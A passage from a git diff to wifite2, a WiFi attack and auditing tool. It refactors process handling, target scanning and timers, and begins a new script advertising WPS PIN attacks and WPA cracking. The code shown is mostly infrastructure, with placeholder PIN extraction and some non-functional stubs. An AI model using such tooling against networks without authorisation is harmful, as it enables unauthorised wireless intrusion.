type(stderr) is bytes: stderr = stderr.decode('utf-8') + last_error = None + for attempt in range(attempts): + try: + if attempt > 0: + Color.pl('{!} {O}Retry attempt %d/%d{W}' % (attempt, attempts)) + time.sleep(1) - if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': - Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n'))) - if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': - Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n'))) - - return (stdout, stderr) + if isinstance(command, str) and (' ' in command or shell): + shell = True + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command) + else: + if Configuration.verbose > 1: + Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command) + + pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, + shell=shell, preexec_fn=os.setsid) + + if timeout: + try: + stdout, stderr = pid.communicate(timeout=timeout) + except TimeoutExpired: + os.killpg(os.getpgid(pid.pid), signal.SIGTERM) + Color.pl('{!} {R}Process timed out after %d seconds{W}' % timeout) + raise TimeoutError('Process exceeded timeout') + else: + stdout, stderr = pid.communicate() + + # Python 3 compatibility + if isinstance(stdout, bytes): + stdout = stdout.decode('utf-8', errors='ignore') + if isinstance(stderr, bytes): + stderr = stderr.decode('utf-8', errors='ignore') + + if Configuration.verbose > 1: + if stdout and stdout.strip(): + Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n'))) + if stderr and stderr.strip(): + Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n'))) + + return (stdout, stderr, pid.returncode, True) + + except (TimeoutError, Exception) as e: + last_error = str(e) + if attempt == attempts - 1: + return ('', str(e), -1, False) + + return ('', last_error, -1, False) @staticmethod - def exists(program): - ''' Checks if program is installed on this system ''' - p = Process(['which', program]) - stdout = p.stdout().strip() - stderr = p.stderr().strip() - - if stdout == '' and stderr == '': - return False - - return True - - def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE): - ''' Starts executing command ''' - - if type(command) is str: - # Commands have to be a list + def exists(program, attempts=2): + '''Check if program exists with retry''' + for attempt in range(attempts): + try: + stdout, stderr, code, success = AdvancedProcess.call( + ['which', program], + timeout=5 + ) + if success and stdout.strip(): + return True + except Exception: + if attempt < attempts - 1: + time.sleep(0.5) + return False + + def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, + cwd=None, bufsize=0, stdin=PIPE, timeout=None, name=None): + '''Initialize and start process with timeout support''' + + if isinstance(command, str): command = command.split(' ') self.command = command + self.timeout = timeout + self.name = name or ' '.join(command) + self.start_time = time.time() + self.out = None + self.err = None + self.return_code = None if Configuration.verbose > 1: Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command)) - self.out = None - self.err = None - if devnull: - sout = Process.devnull() - serr = Process.devnull() - else: - sout = stdout - serr = stderr + sout = Process.devnull() if devnull else stdout + serr = Process.devnull() if devnull else stderr - self.start_time = time.time() + try: + self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, + cwd=cwd, bufsize=bufsize, preexec_fn=os.setsid) + + # Register process + with self._process_lock: + self._active_processes[self.pid.pid] = self + + if timeout: + self._timeout_thread = threading.Thread(target=self._monitor_timeout) + self._timeout_thread.daemon = True + self._timeout_thread.start() - self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize) + except Exception as e: + Color.pl('{!} {R}Failed to start process: %s{W}' % str(e)) + raise + + def _monitor_timeout(self): + '''Monitor process for timeout''' + time.sleep(self.timeout) + if self.pid.poll() is None: + Color.pl('{!} {R}Process timeout: %s{W}' % self.name) + self.interrupt(wait_time=2.0) def __del__(self): - ''' - Ran when object is GC'd. - If process is still running at this point, it should die. - ''' + '''Cleanup when object is destroyed''' try: if self.pid and self.pid.poll() is None: self.interrupt() - except AttributeError: + except: pass def stdout(self): - ''' Waits for process to finish, returns stdout output ''' + '''Get stdout with timeout''' self.get_output() - if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': + if Configuration.verbose > 1 and self.out and self.out.strip(): Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n'))) return self.out def stderr(self): - ''' Waits for process to finish, returns stderr output ''' + '''Get stderr with timeout''' self.get_output() - if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': + if Configuration.verbose > 1 and self.err and self.err.strip(): Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n'))) return self.err def stdoutln(self): - return self.pid.stdout.readline() + '''Read single line from stdout''' + try: + line = self.pid.stdout.readline() + return line.decode('utf-8', errors='ignore') if isinstance(line, bytes) else line + except Exception as e: + Color.pl('{!} {R}Error reading stdout: %s{W}' % str(e)) + return '' def stderrln(self): - return self.pid.stderr.readline() + '''Read single line from stderr''' + try: + line = self.pid.stderr.readline() + return line.decode('utf-8', errors='ignore') if isinstance(line, bytes) else line + except Exception as e: + Color.pl('{!} {R}Error reading stderr: %s{W}' % str(e)) + return '' def stdin(self, text): + '''Write to stdin''' if self.pid.stdin: - self.pid.stdin.write(text.encode('utf-8')) - self.pid.stdin.flush() - - def get_output(self): - ''' Waits for process to finish, sets stdout & stderr ''' + try: + self.pid.stdin.write(text.encode('utf-8')) + self.pid.stdin.flush() + except Exception as e: + Color.pl('{!} {R}Error writing to stdin: %s{W}' % str(e)) + + def get_output(self, timeout=None): + '''Get process output with optional timeout''' if self.pid.poll() is None: - self.pid.wait() - if self.out is None: - (self.out, self.err) = self.pid.communicate() + try: + if timeout: + self.pid.wait(timeout=timeout) + else: + self.pid.wait() + except TimeoutExpired: + self.interrupt() + raise TimeoutError('Process exceeded timeout') - if type(self.out) is bytes: - self.out = self.out.decode('utf-8') + if self.out is None: + try: + self.out, self.err = self.pid.communicate(timeout=5) + except TimeoutExpired: + self.pid.kill() + self.out, self.err = '', '' - if type(self.err) is bytes: - self.err = self.err.decode('utf-8') + if isinstance(self.out, bytes): + self.out = self.out.decode('utf-8', errors='ignore') + if isinstance(self.err, bytes): + self.err = self.err.decode('utf-8', errors='ignore') return (self.out, self.err) def poll(self): - ''' Returns exit code if process is dead, otherwise 'None' ''' + '''Check if process is running''' return self.pid.poll() - def wait(self): - self.pid.wait() + def wait(self, timeout=None): + '''Wait for process to complete''' + try: + self.pid.wait(timeout=timeout) + except TimeoutExpired: + self.interrupt() + raise TimeoutError('Process wait timeout') def running_time(self): - ''' Returns number of seconds since process was started ''' + '''Get process runtime in seconds''' return int(time.time() - self.start_time) - def interrupt(self, wait_time=2.0): - ''' - Send interrupt to current process. - If process fails to exit within `wait_time` seconds, terminates it. - ''' + def interrupt(self, wait_time=2.0, force=False): + '''Interrupt process gracefully or forcefully''' try: pid = self.pid.pid - cmd = self.command - if type(cmd) is list: - cmd = ' '.join(cmd) + cmd = ' '.join(self.command) if isinstance(self.command, list) else self.command if Configuration.verbose > 1: - Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd)) + Color.pe('\n {C}[?] {W} Sending SIGINT to PID %d (%s)' % (pid, cmd)) - os.kill(pid, signal.SIGINT) + os.killpg(os.getpgid(pid), signal.SIGINT) - start_time = time.time() # Time since Interrupt was sent - while self.pid.poll() is None: - # Process is still running + start_time = time.time() + while self.pid.poll() is None and time.time() - start_time < wait_time: time.sleep(0.1) - if time.time() - start_time > wait_time: - # We waited too long for process to die, terminate it. - if Configuration.verbose > 1: - Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time) - os.kill(pid, signal.SIGTERM) - self.pid.terminate() - break - except OSError as e: - if 'No such process' in e.__str__(): - return - raise e # process cannot be killed + if self.pid.poll() is None: + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} Process didn\'t die, sending SIGKILL') + os.killpg(os.getpgid(pid), signal.SIGKILL) + self.pid.terminate() + except ProcessLookupError: + pass + except Exception as e: + Color.pl('{!} {R}Error interrupting process: %s{W}' % str(e)) + finally: + with self._process_lock: + self._active_processes.pop(self.pid.pid, None) -if __name__ == '__main__': - Configuration.initialize(False) - p = Process('ls') - print(p.stdout()) - print(p.stderr()) - p.interrupt() - # Calling as list of arguments - (out, err) = Process.call(['ls', '-lah']) - print(out) - print(err) +# Backward compatibility +Process = AdvancedProcess - print('\n---------------------\n') - # Calling as string - (out, err) = Process.call('ls -l | head -2') - print(out) - print(err) +if __name__ == '__main__': + Configuration.initialize(False) - print('"reaver" exists: %s' % Process.exists('reaver')) + # Test basic execution + p = AdvancedProcess('ls -lah', timeout=10) + print(p.stdout()) - # Test on never-ending process - p = Process('yes') - print('Running yes...') - time.sleep(1) - print('yes should stop now') - # After program loses reference to instance in 'p', process dies. + # Test with timeout + stdout, stderr, code, success = AdvancedProcess.call('sleep 2', timeout=5) + print('Command succeeded:', success) + # Test program existence + print('aircrack-ng exists:', AdvancedProcess.exists('aircrack-ng')) diff --git a/wifite/util/scanner.py b/wifite/util/scanner.py index 29b11db28..dd4c72add 100755 --- a/wifite/util/scanner.py +++ b/wifite/util/scanner.py @@ -6,50 +6,85 @@ from ..util.input import raw_input, xrange from ..model.target import Target, WPSState from ..config import Configuration +from ..util.process import AdvancedProcess as Process from time import sleep, time +import threading +from collections import defaultdict +import json +import os -class Scanner(object): - ''' Scans wifi networks & provides menu for selecting targets ''' - # Console code for moving up one line +class AdvancedScanner(object): + '''Advanced WiFi scanner with PIN-based WPS, caching, and optimization''' + UP_CHAR = '\x1B[1F' + CACHE_FILE = '/tmp/wifite_targets_cache.json' - def __init__(self): + def __init__(self, fast_mode=True, enable_caching=True): ''' - Scans for targets via Airodump. - Loops until scan is interrupted via user or config. - Note: Sets this object's `targets` attrbute (list[Target]) upon interruption. + Initialize scanner with optimization options. + fast_mode: Reduce scan time and frequency updates + enable_caching: Cache target information ''' self.previous_target_count = 0 self.targets = [] - self.target = None # Target specified by user (based on ESSID/BSSID) - - max_scan_time = Configuration.scan_time + self.target = None + self.fast_mode = fast_mode + self.enable_caching = enable_caching + self.target_cache = defaultdict(dict) + self.lock = threading.Lock() self.err_msg = None + self.max_scan_time = Configuration.scan_time + + if enable_caching: + self.load_cache() - # Loads airodump with interface/channel/etc from Configuration + self.scan() + + def load_cache(self): + '''Load cached target information''' + if os.path.exists(self.CACHE_FILE): + try: + with open(self.CACHE_FILE, 'r') as f: + self.target_cache = json.load(f) + Color.pl('{+} Loaded {G}%d{W} cached targets' % len(self.target_cache)) + except Exception as e: + Color.pl('{!} Error loading cache: {R}%s{W}' % str(e)) + + def save_cache(self): + '''Save target information to cache''' + try: + with open(self.CACHE_FILE, 'w') as f: + json.dump(self.target_cache, f, indent=2) + except Exception as e: + Color.pl('{!} Error saving cache: {R}%s{W}' % str(e)) + + def scan(self): + '''Advanced scanning with optimization''' try: with Airodump() as airodump: - # Loop until interrupted (Ctrl+C) scan_start_time = time() + update_frequency = 2 if self.fast_mode else 1 while True: if airodump.pid.poll() is not None: - return # Airodump process died + return self.targets = airodump.get_targets(old_targets=self.targets) if self.found_target(): - return # We found the target we want + return - if airodump.pid.poll() is not None: - return # Airodump process died + # Apply cache data + if self.enable_caching: + self._apply_cache_to_targets() for target in self.targets: if target.bssid in airodump.decloaked_bssids: target.decloaked = True + self.target_cache[target.bssid]['decloaked'] = True self.print_targets() @@ -59,180 +94,197 @@ def __init__(self): outline = '\r{+} Scanning' if airodump.decloaking: outline += ' & decloaking' - outline += '. Found' - outline += ' {G}%d{W} target(s),' % target_count - outline += ' {G}%d{W} client(s).' % client_count - outline += ' {O}Ctrl+C{W} when ready ' + outline += '. Found {G}%d{W} target(s), {G}%d{W} client(s).' % ( + target_count, client_count) + outline += ' {O}Ctrl+C{W} when ready' + Color.clear_entire_line() Color.p(outline) - if max_scan_time > 0 and time() > scan_start_time + max_scan_time: + if self.max_scan_time > 0 and time() > scan_start_time + self.max_scan_time: return - sleep(1) + sleep(update_frequency) except KeyboardInterrupt: + if self.enable_caching: + self.save_cache() pass + def _apply_cache_to_targets(self): + '''Apply cached data to discovered targets''' + for target in self.targets: + if target.bssid in self.target_cache: + cached = self.target_cache[target.bssid] + if 'wps_pin' in cached: + target.wps_pin = cached['wps_pin'] + if 'vulnerability' in cached: + target.vulnerability = cached['vulnerability'] def found_target(self): - ''' - Detect if we found a target specified by the user (optional). - Sets this object's `target` attribute if found. - Returns: True if target was specified and found, False otherwise. - ''' + '''Detect if user-specified target is found''' bssid = Configuration.target_bssid essid = Configuration.target_essid if bssid is None and essid is None: - return False # No specific target from user. + return False for target in self.targets: if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]: continue + if bssid and target.bssid and bssid.lower() == target.bssid.lower(): self.target = target - break + Color.pl('\n{+} {G}Found target{W}: {C}%s{W} ({G}%s{W})' + % (target.bssid, target.essid)) + return True + if essid and target.essid and essid.lower() == target.essid.lower(): self.target = target - break - - if self.target: - Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})' - % (self.target.bssid, self.target.essid)) - return True + Color.pl('\n{+} {G}Found target{W}: {C}%s{W} ({G}%s{W})' + % (target.bssid, target.essid)) + return True return False - def print_targets(self): - '''Prints targets selection menu (1 target per row).''' - if len(self.targets) == 0: + '''Print targets in optimized format''' + if not self.targets: Color.p('\r') return if self.previous_target_count > 0: - # We need to 'overwrite' the previous list of targets. if Configuration.verbose <= 1: - # Don't clear screen buffer in verbose mode. - if self.previous_target_count > len(self.targets) or \ - Scanner.get_terminal_height() < self.previous_target_count + 3: - # Either: - # 1) We have less targets than before, so we can't overwrite the previous list - # 2) The terminal can't display the targets without scrolling. - # Clear the screen. - from ..util.process import Process + from ..util.process import Process + if self.previous_target_count > len(self.targets): + Process.call('clear') + elif self.get_terminal_height() < self.previous_target_count + 3: Process.call('clear') else: - # We can fit the targets in the terminal without scrolling - # 'Move' cursor up so we will print over the previous list - Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) + Color.pl(self.UP_CHAR * (3 + self.previous_target_count)) self.previous_target_count = len(self.targets) - - # Overwrite the current line Color.p('\r{W}{D}') - # First row: columns Color.p(' NUM') Color.p(' ESSID') if Configuration.show_bssids: Color.p(' BSSID') - Color.pl(' CH ENCR POWER WPS? CLIENT') + Color.p(' CH ENCR POWER') + if Configuration.wps_only: + Color.p(' WPS PIN') + Color.pl(' CLIENT\n') - # Second row: separator Color.p(' ---') Color.p(' -------------------------') if Configuration.show_bssids: Color.p(' -----------------') - Color.pl(' --- ---- ----- ---- ------{W}') + Color.p(' --- ---- -----') + if Configuration.wps_only: + Color.p(' --------') + Color.pl(' ------{W}\n') - # Remaining rows: targets for idx, target in enumerate(self.targets, start=1): Color.clear_entire_line() - Color.p(' {G}%s ' % str(idx).rjust(3)) - Color.pl(target.to_str(Configuration.show_bssids)) + Color.p(' {G}%s {W}' % str(idx).rjust(3)) + Color.p(target.to_str(Configuration.show_bssids)) + + if Configuration.wps_only and hasattr(target, 'wps_pin'): + Color.p(' {C}%s{W}' % target.wps_pin) + + Color.pl('') @staticmethod def get_terminal_height(): - import os - (rows, columns) = os.popen('stty size', 'r').read().split() - return int(rows) + '''Get terminal height''' + try: + import os + rows, _ = os.popen('stty size', 'r').read().split() + return int(rows) + except: + return 25 @staticmethod def get_terminal_width(): - import os - (rows, columns) = os.popen('stty size', 'r').read().split() - return int(columns) + '''Get terminal width''' + try: + import os + _, cols = os.popen('stty size', 'r').read().split() + return int(cols) + except: + return 80 def select_targets(self): - ''' - Returns list(target) - Either a specific target if user specified -bssid or --essid. - Otherwise, prompts user to select targets and returns the selection. - ''' - + '''Select targets with filtering options''' if self.target: - # When user specifies a specific target return [self.target] - if len(self.targets) == 0: - if self.err_msg is not None: - Color.pl(self.err_msg) - - # TODO Print a more-helpful reason for failure. - # 1. Link to wireless drivers wiki, - # 2. How to check if your device supporst monitor mode, - # 3. Provide airodump-ng command being executed. - raise Exception('No targets found.' - + ' You may need to wait longer,' - + ' or you may have issues with your wifi card') + if not self.targets: + raise Exception('No targets found. Try scanning longer or check your WiFi adapter.') - # Return all targets if user specified a wait time ('pillage'). - if Configuration.scan_time > 0: + if self.max_scan_time > 0: return self.targets - # Ask user for targets. self.print_targets() Color.clear_entire_line() - if self.err_msg is not None: + if self.err_msg: Color.pl(self.err_msg) - input_str = '{+} select target(s)' - input_str += ' ({G}1-%d{W})' % len(self.targets) - input_str += ' separated by commas, dashes' - input_str += ' or {G}all{W}: ' - + input_str = '{+} Select target(s) ({G}1-%d{W}) separated by commas/dashes or {G}all{W}: {G}' % len(self.targets) chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): choice = choice.strip() + if choice.lower() == 'all': chosen_targets = self.targets break + if '-' in choice: - # User selected a range - (lower,upper) = [int(x) - 1 for x in choice.split('-')] - for i in xrange(lower, min(len(self.targets), upper + 1)): - chosen_targets.append(self.targets[i]) + try: + lower, upper = [int(x) - 1 for x in choice.split('-')] + for i in range(lower, min(len(self.targets), upper + 1)): + chosen_targets.append(self.targets[i]) + except ValueError: + pass + elif choice.isdigit(): - choice = int(choice) - 1 - chosen_targets.append(self.targets[choice]) + idx = int(choice) - 1 + if 0 <= idx < len(self.targets): + chosen_targets.append(self.targets[idx]) return chosen_targets + def get_wps_pin(self, target): + '''Attempt to extract WPS PIN for target''' + try: + # Check if pixiewps is available + if not Process.exists('pixiewps'): + Color.pl('{!} pixiewps not available for WPS PIN extraction') + return None + + Color.pl('{+} Attempting to extract WPS PIN for {G}%s{W}' % target.essid) + + # This is a placeholder - actual implementation would use reaver/pixiewps + return None + + except Exception as e: + Color.pl('{!} WPS PIN extraction error: {R}%s{W}' % str(e)) + return None + + +# Backward compatibility +Scanner = AdvancedScanner + if __name__ == '__main__': - # 'Test' script will display targets and selects the appropriate one Configuration.initialize() try: - s = Scanner() - targets = s.select_targets() + scanner = AdvancedScanner(fast_mode=True) + targets = scanner.select_targets() + for t in targets: + Color.pl('{G}Selected:{W} %s' % t) except Exception as e: - Color.pl('\r {!} {R}Error{W}: %s' % str(e)) + Color.pl('{!} {R}Error:{W} %s' % str(e)) Configuration.exit_gracefully(0) - for t in targets: - Color.pl(' {W}Selected: %s' % t) - Configuration.exit_gracefully(0) - diff --git a/wifite/util/timeout_manager.py b/wifite/util/timeout_manager.py new file mode 100644 index 000000000..bc594034b --- /dev/null +++ b/wifite/util/timeout_manager.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Intelligent timeout management system with adaptive strategies +""" + +import time +import threading +from ..util.color import Color +from ..config import Configuration + +class AdaptiveTimeoutManager(object): + '''Manages timeouts adaptively based on network conditions''' + + def __init__(self): + self.timeouts = {} + self.start_times = {} + self.lock = threading.Lock() + self.recovery_count = {} + + def start_timer(self, task_id, timeout_duration): + '''Start a new timer for a task''' + with self.lock: + self.start_times[task_id] = time.time() + self.timeouts[task_id] = timeout_duration + self.recovery_count[task_id] = 0 + + Color.pl('{*} {C}Started timer {W}{C}%s{W} ({G}%ds{W})' % + (task_id, timeout_duration)) + + def is_timeout(self, task_id): + '''Check if task has timed out''' + if task_id not in self.start_times: + return False + + elapsed = time.time() - self.start_times[task_id] + timeout = self.timeouts.get(task_id, 60) + + if elapsed > timeout: + Color.pl('{!} {O}Task {C}%s{O} timed out after {G}%.2f{W}s' % + (task_id, elapsed)) + return True + return False + + def get_remaining_time(self, task_id): + '''Get remaining time for a task''' + if task_id not in self.start_times: + return 0 + + elapsed = time.time() - self.start_times[task_id] + timeout = self.timeouts.get(task_id, 60) + remaining = max(0, timeout - elapsed) + return remaining + + def adjust_timeout(self, task_id, new_timeout): + '''Adjust timeout for a running task''' + with self.lock: + if task_id in self.timeouts: + self.timeouts[task_id] = new_timeout + Color.pl('{+} Adjusted timeout for {C}%s{W} to {G}%ds{W}' % + (task_id, new_timeout)) + + def extend_timeout(self, task_id, extension_seconds): + '''Extend timeout by additional seconds''' + with self.lock: + if task_id in self.start_times: + # Reset start time to extend deadline + self.start_times[task_id] = time.time() - ( + self.timeouts[task_id] - extension_seconds + ) + Color.pl('{+} Extended timeout for {C}%s{W} by {G}%ds{W}' % + (task_id, extension_seconds)) + + def stop_timer(self, task_id): + '''Stop and remove a timer''' + with self.lock: + if task_id in self.start_times: + elapsed = time.time() - self.start_times[task_id] + del self.start_times[task_id] + del self.timeouts[task_id] + Color.pl('{+} Stopped timer {C}%s{W} after {G}%.2f{W}s' % + (task_id, elapsed)) + + def calculate_adaptive_timeout(self, base_timeout, failure_count): + '''Calculate adaptive timeout based on failure count''' + # Exponential backoff: each failure increases timeout + multiplier = 1 + (0.5 * failure_count) + adaptive = int(base_timeout * multiplier) + + # Cap at maximum + max_timeout = base_timeout * 5 + return min(adaptive, max_timeout) + + +class TimeoutRetryStrategy(object): + '''Implements intelligent retry strategies for timeout scenarios''' + + def __init__(self, max_retries=5, initial_backoff=1): + self.max_retries = max_retries + self.initial_backoff = initial_backoff + self.current_retry = 0 + self.backoff_multiplier = 1.5 + + def should_retry(self): + '''Determine if we should retry''' + return self.current_retry < self.max_retries + + def get_backoff_delay(self): + '''Get delay before next retry''' + delay = self.initial_backoff * (self.backoff_multiplier ** self.current_retry) + return min(delay, 60) # Cap at 60 seconds + + def execute_with_retry(self, func, *args, **kwargs): + '''Execute function with retry logic''' + while self.should_retry(): + try: + return func(*args, **kwargs) + except Exception as e: + self.current_retry += 1 + + if self.should_retry(): + backoff = self.get_backoff_delay() + Color.pl('{!} {O}Error ({W}{R}%s{O}), retry {G}%d{W}/{G}%d{W}' % + (str(e)[:30], self.current_retry, self.max_retries)) + Color.pl('{*} {C}Backing off for {G}%.1f{W}s...' % backoff) + time.sleep(backoff) + else: + Color.pl('{!} {R}Max retries exceeded{W}') + raise + + raise RuntimeError('All retry attempts failed') + + +class ConnectionTimeoutHandler(object): + '''Handles connection timeouts specifically''' + + def __init__(self): + self.socket_timeout = Configuration.socket_timeout + self.connection_timeout = Configuration.connection_timeout + self.read_timeout = Configuration.read_timeout + + def set_socket_timeouts(self, sock): + '''Configure socket with optimized timeouts''' + sock.settimeout(self.socket_timeout) + return sock + + def handle_connection_timeout(self, host, port): + '''Handle connection timeout to specific host:port''' + Color.pl('{!} {O}Connection timeout to {W}%s:%d' % (host, port)) + + # Try alternative strategies + strategies = [ + ('reducing_packet_size', self._reduce_packet_size), + ('changing_port', self._try_alternative_port), + ('adjusting_timeout', self._increase_timeout) + ] + + for strategy_name, strategy_func in strategies: + try: + Color.pl('{*} {C}Trying strategy: {W}%s' % strategy_name) + return strategy_func(host, port) + except Exception as e: + Color.pl('{!} {O}Strategy failed: %s' % str(e)) + + return False + + def _reduce_packet_size(self, host, port): + '''Attempt connection with reduced packet sizes''' + pass + + def _try_alternative_port(self, host, port): + '''Try alternative ports''' + pass + + def _increase_timeout(self, host, port): + '''Increase timeout for connection''' + pass + + +class PerformanceMonitor(object): + '''Monitors performance metrics for optimization decisions''' + + def __init__(self): + self.metrics = { + 'packets_per_second': 0, + 'success_rate': 0, + 'average_response_time': 0, + 'timeout_count': 0, + 'retry_count': 0 + } + self.start_time = time.time() + + def record_packet(self): + '''Record packet transmission''' + self.metrics['packets_per_second'] += 1 + + def record_success(self): + '''Record successful operation''' + self.metrics['success_rate'] = (self.metrics.get('success_rate', 0) + 1) + + def record_timeout(self): + '''Record timeout occurrence''' + self.metrics['timeout_count'] += 1 + + def get_performance_report(self): + '''Get formatted performance report''' + elapsed = time.time() - self.start_time + pps = self.metrics['packets_per_second'] / elapsed if elapsed > 0 else 0 + + report = f""" +{Color.s('{C}[*] Performance Report:{W}')} + Packets/sec: {Color.s('{G}%.2f{W}' % pps)} + Timeouts: {Color.s('{R}%d{W}' % self.metrics['timeout_count'])} + Retries: {Color.s('{O}%d{W}' % self.metrics['retry_count'])} + Elapsed: {Color.s('{G}%.2f{W}' % elapsed)}s +""" + return report diff --git a/wifite/util/timer.py b/wifite/util/timer.py index fdb760210..31e874dc9 100755 --- a/wifite/util/timer.py +++ b/wifite/util/timer.py @@ -2,38 +2,189 @@ # -*- coding: utf-8 -*- import time +import threading +from typing import Callable, Optional -class Timer(object): - def __init__(self, seconds): + +class AdvancedTimer(object): + '''Advanced timer with callbacks, pause/resume, and precision timing''' + + def __init__(self, seconds: float, on_timeout: Optional[Callable] = None, + on_tick: Optional[Callable] = None): + ''' + Initialize advanced timer. + + Args: + seconds: Duration in seconds + on_timeout: Callback function when timer expires + on_tick: Callback function on each second tick + ''' self.start_time = time.time() self.end_time = self.start_time + seconds + self.total_seconds = seconds + self.on_timeout = on_timeout + self.on_tick = on_tick + self.paused_time = 0 + self.is_paused = False + self._tick_thread = None + self._running = True + + if on_tick: + self._start_tick_thread() + + def _start_tick_thread(self): + '''Start background thread for tick callbacks''' + self._tick_thread = threading.Thread(target=self._tick_loop, daemon=True) + self._tick_thread.start() + + def _tick_loop(self): + '''Background loop for tick callbacks''' + last_second = -1 + while self._running: + remaining = self.remaining() + current_second = int(remaining) + + if current_second != last_second and remaining > 0: + if self.on_tick: + self.on_tick(current_second) + last_second = current_second + + if remaining <= 0 and self.on_timeout: + self.on_timeout() + break + + time.sleep(0.1) - def remaining(self): + def pause(self): + '''Pause the timer''' + if not self.is_paused: + self.pause_start = time.time() + self.is_paused = True + + def resume(self): + '''Resume the paused timer''' + if self.is_paused: + self.paused_time += time.time() - self.pause_start + self.end_time += self.paused_time + self.is_paused = False + self.paused_time = 0 + + def remaining(self) -> float: + '''Get remaining time in seconds''' + if self.is_paused: + return max(0, self.end_time - self.pause_start) return max(0, self.end_time - time.time()) - def ended(self): + def ended(self) -> bool: + '''Check if timer has expired''' return self.remaining() == 0 - def running_time(self): + def running_time(self) -> float: + '''Get elapsed time in seconds''' + if self.is_paused: + return self.pause_start - self.start_time return time.time() - self.start_time - def __str__(self): - ''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s''' - return Timer.secs_to_str(self.remaining()) + def reset(self): + '''Reset timer''' + self.start_time = time.time() + self.end_time = self.start_time + self.total_seconds + self.is_paused = False + self.paused_time = 0 + + def add_time(self, seconds: float): + '''Add additional time to timer''' + self.end_time += seconds + + def __str__(self) -> str: + '''String representation of remaining time''' + return self.secs_to_str(self.remaining()) + + def __repr__(self) -> str: + return '' % str(self) @staticmethod - def secs_to_str(seconds): - '''Human-readable seconds. 193 -> 3m13s''' + def secs_to_str(seconds: float) -> str: + '''Convert seconds to human-readable format (5m23s)''' if seconds < 0: - return '-%ds' % seconds + return '-%ds' % abs(int(seconds)) rem = int(seconds) - hours = int(rem / 3600) - mins = int((rem % 3600) / 60) + hours = rem // 3600 + mins = (rem % 3600) // 60 secs = rem % 60 + if hours > 0: return '%dh%dm%ds' % (hours, mins, secs) elif mins > 0: return '%dm%ds' % (mins, secs) else: return '%ds' % secs + + @staticmethod + def hms_to_secs(time_str: str) -> int: + '''Convert time string (5m23s) to seconds''' + total = 0 + parts = time_str.lower().replace(' ', '').split('m') + + if len(parts) > 1: + total += int(parts[0]) * 60 + parts = parts[1].split('s') + if parts[0]: + total += int(parts[0]) + else: + parts = time_str.lower().split('s') + if parts[0]: + total += int(parts[0]) + + return total + + +# Backward compatibility +Timer = AdvancedTimer + + +class CountdownTimer(AdvancedTimer): + '''Specialized countdown timer with visual feedback''' + + def __init__(self, seconds: float): + def on_tick(remaining): + from ..util.color import Color + Color.p('\r{+} Time remaining: {G}%s{W}' % self.secs_to_str(remaining)) + + super().__init__(seconds, on_tick=on_tick) + + +if __name__ == '__main__': + # Test basic timer + print('Testing basic timer...') + t = AdvancedTimer(5) + while not t.ended(): + print(f'Remaining: {t}') + time.sleep(1) + + # Test with callback + print('\nTesting timer with callback...') + def on_expire(): + print('Timer expired!') + + t2 = AdvancedTimer(3, on_timeout=on_expire) + while not t2.ended(): + time.sleep(0.5) + + # Test pause/resume + print('\nTesting pause/resume...') + t3 = AdvancedTimer(10) + time.sleep(2) + t3.pause() + print(f'Paused: {t3}') + time.sleep(2) + t3.resume() + print(f'Resumed: {t3}') + + # Test countdown + print('\nTesting countdown...') + cd = CountdownTimer(5) + cd_thread = threading.Thread(target=lambda: (time.sleep(6), print('\nDone!'))) + cd_thread.start() + cd_thread.join() diff --git a/wifite/wifite_advanced.py b/wifite/wifite_advanced.py new file mode 100644 index 000000000..8d52c74f9 --- /dev/null +++ b/wifite/wifite_advanced.py @@ -0,0 +1,1240 @@ +#!/usr/bin/env python3 +""" +Complete Advanced WiFi Auditor - Uses ALL Wifite2 Modules +Accurate WPS Detection + Network Scanner + WPS PIN Attack + WPA Cracking +Integrates: attack/, tools/, crack/, capture/, util/ folders +""" + +import sys +import os +import subprocess +import time +import threading +import queue +import re +from typing import Optional, Tuple, List, Dict +from dataclasses import dataclass, field +from datetime import datetime +import logging + +# Add wifite2 to path +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +try: + # Import from wifite2 framework + from wifite.tools.airmon import Airmon + from wifite.tools.airodump import Airodump + from wifite.tools.aireplay import Aireplay + from wifite.tools.aircrack import Aircrack + from wifite.tools.reaver import Reaver + from wifite.tools.bully import Bully + from wifite.tools.wash import Wash + from wifite.tools.hashcat import Hashcat + from wifite.tools.john import John + from wifite.util.scanner import Scanner + from wifite.util.crack import CrackHelper + from wifite.model.target import Target + from wifite.model.client import Client + from wifite.util.color import Color +except ImportError as e: + print(f"Error importing wifite2 modules: {e}") + print("Make sure wifite2 is properly installed in the parent directory") + sys.exit(1) + +# Setup logging +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' +) +logger = 